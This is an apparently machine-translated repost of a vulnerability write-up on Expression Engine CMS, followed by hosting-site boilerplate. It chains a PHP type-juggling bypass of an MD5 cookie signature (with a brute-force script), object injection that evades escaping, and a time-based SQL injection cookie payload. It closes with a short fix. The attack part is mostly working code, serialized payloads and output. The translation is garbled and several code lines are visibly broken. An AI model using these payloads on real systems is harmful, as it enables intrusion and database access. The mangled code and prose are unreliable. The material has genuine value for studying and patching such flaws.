One-time security intrusion sharing with weak type and object injection

Source: Internet
Author: User
Tags md5 hash expression engine
Security is the most important issue facing the online website. There is no absolute security, only constant attack and defense confrontation. Do not believe that the user submitted data is the first purpose, this article to use a weak type and object injection of security intrusion as a share, I hope to let everyone on the site security has a clearer concept.

Recently, when I was looking for a vulnerability in a target, I ran into a host that was running expression Engine (a CMS platform). This particular application attracts me because when I try to log in to the application using "admin" for the username, the server responds with a cookie that contains the PHP serialized data. As we have said before, deserializing user-supplied data can lead to unexpected results; In some cases, it can even lead to code execution. So, I decided to check carefully, rather than blindly to test, first see if I can download to this CMS source code, through the process of serializing the data to figure out what happened, and then start a local build copy to test.

When I had this CMS source, I used the grep command to navigate to the location where the cookie was used and found the file "./system/ee/legacy/libraries/session.php" and found that the cookie was used in the user session to maintain, The discovery is very meaningful. Looking closely at session.php, I found the following method, which is responsible for deserializing the serialized data:

  protected function _prep_flashdata ()  {    if ($cookie = EE ()->input->cookie (' Flash '))    {      if ( strlen ($cookie) >)      {        $signature = substr ($cookie, -32);        $payload = substr ($cookie, 0, -32);        if (MD5 ($payload. $this->sess_crypt_key) = = $signature)        {          $this->flashdata = unserialize (stripslashes ($payload));          $this->_age_flashdata ();          return    ;    }}} $this->flashdata = Array ();  }

Through the code, we can see that a series of checks were performed before our cookie was parsed and then deserialized in the code at 1293 lines. So let's take a look at our cookie and check to see if we can call to "unserialize ()":

a%3a2%3a%7bs%3a13%3a%22%3anew%3ausername%22%3bs%3a5%3a%22admin%22%3bs%3a12%3a%22%3anew%3amessage%22%3bs%3a38% 3a%22that+is+the+wrong+username+or+password%22%3b%7d3f7d80e10a3d9c0a25c5f56199b067d4

The URL is decoded as follows:

A:2:{s:13: "New:username"; s:5: "admin"; s:12: ": New:message"; s:38: "That's the wrong username or password";} 3f7d80e10a3d9c0a25c5f56199b067d4

If there is a flash cookie, we load the data into the "$ cookie" variable (the code at line 1284) and proceed to the next step. Next we check if the length of the cookie data is greater than 32 (the code at line 1286) and continue to execute. Now we use "substr ()" To get the last 32 characters of the cookie data and store it in the "$signature" variable, and then store the rest of the cookie data in "$ payload" as follows:

$ php-ainteractive Mode enabledphp > $cookie = ' a:2:{s:13: ": New:username"; s:5: "admin"; s:12: ": New:message"; s:38: " That is the wrong username or password ";} 3f7d80e10a3d9c0a25c5f56199b067d4 ';p hp > $signature = substr ($cookie, -32);p hp > $payload = substr ($cookie, 0,-32); php > Print "Signature: $signature \ n"; signature:3f7d80e10a3d9c0a25c5f56199b067d4php > Print "Payload: $payload \ n"; Payload:prod_flash=a:2:{s:13: ": New:username"; s:5: "admin"; s:12: ": New:message"; s:29: "Invalid username or password.";} php >

Now in the 1291th line of code, we calculate the MD5 hash of "$ payload.$ this-> sess_crypt_key" and compare it to the "$signature" provided at the end of the cookie shown above. By quickly viewing the code, it was found that the value of "$ this-> Sess_crypt_cookie" was passed from the "./system/user/config/config.php" file that was created at the time of installation:

./system/user/config/config.php: $config [' encryption_key '] = ' 033bc11c2170b83b2ffaaff1323834ac40406b79 ';

So let's manually define this "$ this-> sess_crypt_key" as "$ salt" and see the MD5 hash value:

php > $salt = ' 033bc11c2170b83b2ffaaff1323834ac40406b79 ';p hp > Print MD5 ($payload. $salt); 3f7d80e10a3d9c0a25c5f56199b067d4php >


Determines that the MD5 hash value is equal to "$ signature". The reason for this check is to ensure that the value of "$payload" (that is, serialized data) has not been tampered with. In so doing, such checks are indeed sufficient to prevent such tampering; However, because PHP is a weak type of language, there are some pitfalls when performing comparisons.

Less stringent comparisons lead to "capsized"

Let's look at some of the more loosely compared cases to get a good way to construct payload:

<?php   $a = 1; $b = 1;  Var_dump ($a); Var_dump ($b);  if ($a = = $b) {print "A and B are the same\n";} else {print "A and B is not the same\n";}? >

Output:

$ php steps.phpint (1) Int (1) A and B are the same
<?php   $a = 1; $b = 0;  Var_dump ($a); Var_dump ($b);  if ($a = = $b) {print "A and B are the same\n";} else {print "A and B is not the same\n";}  ? >

Output:

$ php steps.phpint (1) int (0) A and B is not the same
<?php   $a = "These is the same"; $b = "These is the same";  Var_dump ($a); Var_dump ($b);  if ($a = = $b) {print "A and B are the same\n";} else {print "A and B is not the same\n";}  ? >

Output:

$ PHP steps.phpstring "These is the same" string "These is the same" A and B are the same
<?php   $a = "These is not the same"; $b = "These is the same";  Var_dump ($a); Var_dump ($b);  if ($a = = $b) {print "A and B are the same\n";} else {print "A and B is not the same\n";}  ? >

Output:

$ PHP steps.phpstring "These is not the same" string "These is the same" A and B is not the same


It seems that PHP is "helpful" in comparison operations, where the string is converted to an integer when compared. Finally, let's take a look at what happens when we compare two strings that look like integers written in scientific notation:

<?php$a = "0e111111111111111111111111111111"; $b = "0e222222222222222222222222222222"; var_dump ($a); Var_dump ($b); if ($a = = $b) {print "A and B are the same\n";} else {print "A and B is not the same\n";}? >

Output:

$ php steps.phpstring (+) "0e111111111111111111111111111111" string (0e222222222222222222222222222222 "A and B are The same


As you can see from the above results, even if the variable "$ A" and the variable "$ B" are of a string type and clearly have different values, using the relaxed comparison operator causes the comparison evaluation result to be true because it is always zero when converting "0EX" to an integer in PHP. This is known as type juggling.

Weak type comparison--type juggling

With this new knowledge, let's re-examine the checks that should prevent us from tampering with serialized data:

if (MD5 ($payload. $this->sess_crypt_key) = = $signature)


We are here to control the value of "$ payload" and "$ signature" value, so if we can find a payload that makes "$ this->sess_crypt_key" The MD5 value becomes a string that begins with 0e and ends with all numbers, or the MD5 hash of "$ signature" is set to a value beginning with 0e and ending with all numbers, we can successfully bypass this check.

To test this idea, I modified some of the code I found online, and I will explode "MD5 ($ payload.$ this-> sess_crypt_key) until I have" tampered "with payload. Take a look at the original "$ payload" look:

$ php-ainteractive Mode enabledphp > $cookie = ' a:2:{s:13: ": New:username"; s:5: "admin"; s:12: ": New:message"; s:38: " That is the wrong username or password ";} 3f7d80e10a3d9c0a25c5f56199b067d4 ';p hp > $signature = substr ($cookie, -32);p hp > $payload = substr ($cookie, 0,-32); php > Print_r (unserialize ($payload)); Array ([: new:username] = admin[:new:message] = That's the wrong username or password) PHP >


In my new "$ payload" variable, the content is "wrong user name or password" and I want to show "Taquito".

Serializing the first element of the array "[: new:username] + admin" appears to be a good place to create a random value, so this is our bursting point.

Note: This POC is working offline in my local area because I have access to my own instance "$ this-> sess_crypt_key", and if we do not know this value, then we can only blast it online.

<?phpset_time_limit (0);d efine (' Hash_algo ', ' MD5 ');d efine (' Password_max_length ', 8); $charset = ' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '; $str _length = strlen ($charset); function Check ($    Garbage) {$length = strlen ($garbage);    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = ' a:2:{s:13: ": New:username"; s: '. $length. ': "'. $garbage. '";    S:12: ": New:message"; s:7: "Taquito";} '; #echo "Testing:". $payload.        "\ n";        $hash = MD5 ($payload. $salt);    $pre = "0e";        if (substr ($hash, 0, 2) = = = $pre) {if (Is_numeric ($hash)) {echo "$payload-$hash \ n";        }}}function recurse ($width, $position, $base _string) {global $charset, $str _length; for ($i = 0; $i < $str _length; + + $i) {if ($position < $width-1) {recurse ( $width, $position + 1, $base _string.                $charset [$i]);        Check ($base _string. $charset [$i]); }}for ($i = 1; $i <Password_max_length + 1;        + + $i) {echo "Checking passwords with length: $i \ n"; Recurse ($i, 0, ');}? >


When the above code is run, we get a modified MD5 hash of "$ payload" and our instance of "$ this-> sess_crypt_key" starts with 0e and ends with a number:

$ php poc1.phpchecking passwords with length:1checking passwords with length:2checking passwords with length:3checking Passwords with length:4checking passwords with length:5a:2:{s:13: ": New:username"; s:5: "dlc5d"; s:12: ": New:message"; s : 7: "Taquito";} -0e553592359278167729317779925758


Let's compare this hash value to any value of "$ signature" (which we can provide), which also starts with 0e and ends with all numbers:

<?php$a = "0e553592359278167729317779925758"; $b = "0e222222222222222222222222222222"; var_dump ($a); Var_dump ($b); if ($a = = $b) {print "A and B are the same\n";} else {print "A and B is not the same\n";}? >

Output:

$ php steps.phpstring (+) "0e553592359278167729317779925758" string (0e222222222222222222222222222222 "A and B are The same


As you can see, we have successfully modified the original "$ payload" to contain our new message "Taquito" through (abusing) Type juggling.

What do you get when you encounter a PHP object injection and a weak type? Sqli?

While it's interesting to be able to modify the displayed message in the browser, let's look at what we can do when we pass our own arbitrary data to "unserialize ()". To save yourself some time, let's Change the code:

if (MD5 ($ payload. $ this-> Sess_crypt_key) = = $ signature)

Modified to: if (1)

The above code in the "./system/ee/legacy/libraries/session.php" file, after modification, you can execute "unserialize ()", we do not have to provide a valid signature.

Now, it is known that we can control the serialized array Inside "[: new:username] + + Admin" value, we continue to look at the "./system/ee/legacy/libraries/session.php" code, and note the following methods:

function check_password_lockout ($username = ") {   if (EE ()->config->item (' password_lockout ') = = = ' n ' OR     EE ()->config->item (' password_lockout_interval ') = = ')   {     return FALSE;   }   $interval = EE ()->config->item (' password_lockout_interval ') *;   $lockout = EE ()->db->select ("Count (*) as Count")     ->where (' Login_date > ', Time ()-$interval)     Where (' IP_Address ', EE ()->input->ip_address ())     ->where (' username ', $username)     ->get (' Password_lockout ');   Return ($lockout->row (' count ') >= 4)? True:false; }


There is no problem with this method because it checks in the database whether the provided "$ username" is locked for pre-authentication. Because we can control the value of "$ username", we should be able to inject our own SQL query statements here, resulting in a form of SQL injection. The CMS uses the database driver class to interact with the database, but the original query statement looks like this (we can guess fairly close):

SELECT Count (*) as COUNT from (' exp_password_lockout ') WHERE ' login_date ' > ' $interval ' and ' ip_address ' = ' $ip _address ' and ' username ' = ' $username ';


Modify "$payload" to:

A:2:{s:13: ": New:username"; s:1: "'"; s:12: ": New:message"; s:7: "Taquito";}


and send it to the page with the following error message, but for some reason, we got nothing ...

"Syntax error or Access violation:1064 You has an error in your SQL Syntax; Check the manual-corresponds to your MySQL server version for the right syntax-use "


Not the type I want ...

After a search, I saw the following code in "./system/ee/legacy/database/db_driver.php":

function Escape ($str) {   if (is_string ($STR))   {     $str = "'". $this->escape_str ($STR). "'";   ElseIf (Is_bool ($STR))   {     $str = ($str = = = FALSE)? 0:1;   }   ElseIf (Is_null ($STR))   {     $str = ' null ';   }   return $str; }


In line No. 527, we see that the program performs a "is_string ()" Check on the value we provide, and if it returns true, our values are escaped. We can confirm what's going on here by placing "Var_dump" at the beginning and end of the function and checking the output:

Ago:

String (1) "Y" int (1) int (1) int (1) int (0) int (1) int (3) int (0) int (1) int (1486399967) string (one) "192.168.1.5" string (1) "'" Int (1)


After:

String (3) "' Y '" int (1) int (1) int (1) int (0) int (1) int (3) int (0) int (1) int (1486400275) string (+) "' 192.168.1.5 '" string (4 ) "' \ '" "Int (1)


Sure enough, we can see that the value of our "'" has been escaped and is now "\". Fortunately for us, we still have a way.

The escape check just checks to see if "$ str" is a string or a Boolean value or null; If it does not match any of these types, "$ str" returns a non-escaped value. This means that if we provide an "object", then we should be able to bypass this check. However, this also means that we need to search for an object we can use next.

Automatically loaded gives me hope!

Often, when we look for classes that can take advantage of unserialize, we often use magic methods such as "__wakeup" or "__destruct" to find classes, but sometimes the application actually uses the autoloader. The general idea behind automatic loading is that when an object is created, PHP checks to see if it knows anything about the class, and if not, it automatically loads the object. For us, this means that we don't have to rely on classes that contain "__wakeup" or "__destruct" methods. We just need to find a class that calls the "__tostring" we control because the application tries to use the "$ username" variable as a string.

Look for the classes that are included in this file:

"./system/ee/ellislab/expressionengine/library/parser/conditional/token/variable.php":


<?php namespace Ellislab\expressionengine\library\parser\conditional\token;    Class Variable extends Token {protected $has _value = FALSE;    Public function __construct ($lexeme) {parent::__construct (' VARIABLE ', $lexeme);    } public Function Canevaluate () {return $this->has_value; The Public Function SetValue ($value) {if (is_string ($value)) {$value = Str_replace (Array (      ' {', '} '), Array (' {', '} '), $value);      } $this->value = $value;    $this->has_value = TRUE; The public Function value () {//In this case, the parent assumption is wrong//We value is definitely *not      * The template string if (! $this->has_value) {return NULL;    } return $this->value; Public Function __tostring () {if ($this->has_value) {return Var_export ($this->value, TRUE      );    } return $this->lexeme; }}//EOF


This class looks perfect! We can see that the object called the method "__construct" using the parameter "$lexeme", and then called "__tostring", returning the argument "$ lexeme" as a string. This is the class we are looking for. Let's get together quickly to create a POC for our serialized object:

<?phpnamespace ellislab\expressionengine\library\parser\conditional\token;class Variable {public        $lexeme = FALSE;} $x = new Variable (), $x->lexeme = "'"; Echo serialize ($x). " \ n ";? >output:$ php poc.phpo:67: "ellislab\expressionengine\library\parser\conditional\token\variable": 1:{s:6: " Lexeme "; s:1:" ' ";}


After several hours of trial and error, a conclusion was reached: escaping in mischief. When we add our object to our array, we need to modify the above object (note the extra slash):

A:1:{s:13: ": New:username"; o:67: "Ellislab\\\\\expressionengine\\\\\library\\\\\parser\\\\\conditional\\\\\token \\\\variable ": 1:{s:6:" Lexeme "; s:1:" ' ";}}


We insert the "Var_dump" for debugging before the code, and then send the above payload, which shows the following information:

String (3) "' Y '" int (1) int (1) int (1) int (0) int (1) int (3) int (0) int (1) int (1486407246) string ("' 192.168.1.5 '" "Object ( ellislab\expressionengine\library\parser\conditional\token\variable) #177 (6) {  ["Has_value":p rotected]=>  bool (FALSE)  ["type"]=>  null  ["Lexeme"]=>  string (1) "'"  ["context"]=>  null  ["Lineno"]=>  NULL  ["Value":p rotected]=>  NULL}


Note that now we have an "object" instead of a "string", and the value of "lexeme" is our non-escaped "'" Value! You can go further in the page to confirm:

Output:

$ PHP poc2.phpa:1:{s:+13: ": New:username"; o:67: "ellislab\\expressionengine\\library\\parser\\conditional\\token\\ Variable ": 1:{s:+6:" Lexeme "; s:+31:" 1 UNION SELECT SLEEP (5) # V40VP ";}} -0e223968250284091802226333601821


And the payload we send to the server (again note those extra slashes):

cookie:exp_flash=a%3a1%3a{s%3a%2b13%3a "%3anew%3ausername"%3bo%3a67%3a "ellislab\\\\\expressionengine\\\\\ Library\\\\\parser\\\\\conditional\\\\\token\\\\\variable "%3a1%3a{s%3a%2b6%3a" Lexeme "%3bs%3a%2b31%3a" 1+UNION+ Select+sleep (5) +%23+V40VP "%3b}}0e223968250284091802226333601821


After five seconds we get the response from the server.

Fix the solution!

This type of bug fix can really boil down to a "=", with the following: if (MD5 ($payload. $this->sess_crypt_key) = = $signature) replaced by: if (MD5 ($payload. $this Sess_crypt_key) = = = $signature)

In addition, do not "unserialize ()" User-provided data!

Related recommendations:

Phper must know: 6 common PHP security Attacks!

PHP Security Filter Function Code _php Tutorial

PHP secure URL string base64 encoding and decoding instance code

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.